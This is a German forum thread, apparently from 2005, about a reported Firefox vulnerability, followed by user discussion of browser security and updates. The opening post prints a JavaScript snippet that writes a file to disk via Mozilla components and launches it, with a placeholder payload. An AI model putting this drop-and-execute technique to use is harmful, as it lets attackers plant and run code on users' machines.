Sicherheitslücke im FireFox

[steffenk]

Nun hat es auch die Geckos erwischt, waren sie doch was das Einschleusen von Trojanern angeht bisher unverwundbar.

Nun haben die Hacker eine Methode entwickelt, um auch mit den Geckos, insbesondere FireFox, Files auf die Festplatte zu schreiben und anschliessend zu starten:

file = Components.classes['@mozilla.org/file/local;1'].\
        createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(path);
file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);
outputStream = Components.classes\
        ['@mozilla.org/network/file-output-stream;1'].\
        createInstance(Components.interfaces.nsIFileOutputStream);
output = 'Boeser Code';
outputStream.write(output,output.length);
outputStream.close();
file.launch();

Also wird es auch mit dem FireFox in Zukunft wichtig, Sicherheitsupdates einzuspielen - der Markt hat den Zuwachs der FireFox-User erkannt und reagiert nun darauf.

(Quelle: c't 14/2005)

[HoRnominatoR]

Also wird es auch mit dem FireFox in Zukunft wichtig, Sicherheitsupdates einzuspielen

das war aber auch schon immer so. wer seine software nicht regelmaessig updatet (wenigstens die sicherheitskritischen updates einspielt), ist selber schuld. dem prozess unterliegt jede software ab einer bestimmten komplexitaet.

[steffenk]

Ja natürlich, aber bisher haben alle immer gedacht, wenn ich mit FireFox untewegs bin, passiert mir nichts, da FF abgeschottet ist.
Das ist jetzt definitiv anders !

[wys]

Ja natürlich, aber bisher haben alle immer gedacht, wenn ich mit FireFox untewegs bin, passiert mir nichts, da FF abgeschottet ist.
Das ist jetzt definitiv anders !

Und das ist es, was ich schon seit Jahren versuche, klar zu machen, nämlich denjenigen, die gerne auf den IE schimpften und sich selbst leichtfertig in Sicherheit wägten. Wie Du oben schon sagtest: Der "Markt" hat reagiert, und sinnigerweise stürzt er sich stets auf die verbreitetsten Browser.

Was sagte anno dazumal noch der Norbert Blüm? Ah ja: Die Renten sind sicher!

lg
wys

[wys]

das war aber auch schon immer so. wer seine software nicht regelmaessig updatet (wenigstens die sicherheitskritischen updates einspielt), ist selber schuld. dem prozess unterliegt jede software ab einer bestimmten komplexitaet.

Schon richtig, aber das Problem spitzt sich nun halt zu: Je mehr FF oder andere im Focus der psychisch irritierten Hacker (gibt natürlich auch andere) stehen, umso schwieriger wird es. Die Frage ist dann, wie schnell Updates angeboten werden können. Es ist das übliche Rennen: Die "Guten" hinken den "Bösen" naturgemäß immer hinterher.

Aber warten wir ab, was die Zukunft bringen wird.

lg
wys

[e40]

Natürlich ist der FF schon lange nicht mehr der "Sichere" Browser.

Um so mehr Leute den FF benutzen desto interessanter für die Hacker.

[HoRnominatoR]

ich wollte nur mal anmerken, dass das nie anders war und auch nicht erst in zukunft wichtig wird. es gibt keine reihe '100%ig sicherer sofwtware' in die sich FF bisher haette eingliedern koennen. dass es da ein grundlegendes vertaendnisproblem zum thema 'sicherheit' bei newbies gibt ist klar, aber das muss man ja nicht auch noch andeuten indem man sagt, der FF waere bisher sicher gewesen - dann suchen die leute ohne ahnung einfach den naechsten unbekannten browser.

[Gabibert]

Vielleicht wäre dann ja Opera8 der richtige Schritt. Obwohl sich an dem ja auch die Geister scheiden. Und über kurz oder lang wird auch Norwegen großen Hackerangriffen nicht entgehen können...
Ich mag den FF dennoch gerne, ist mir irgendwie sympatisch.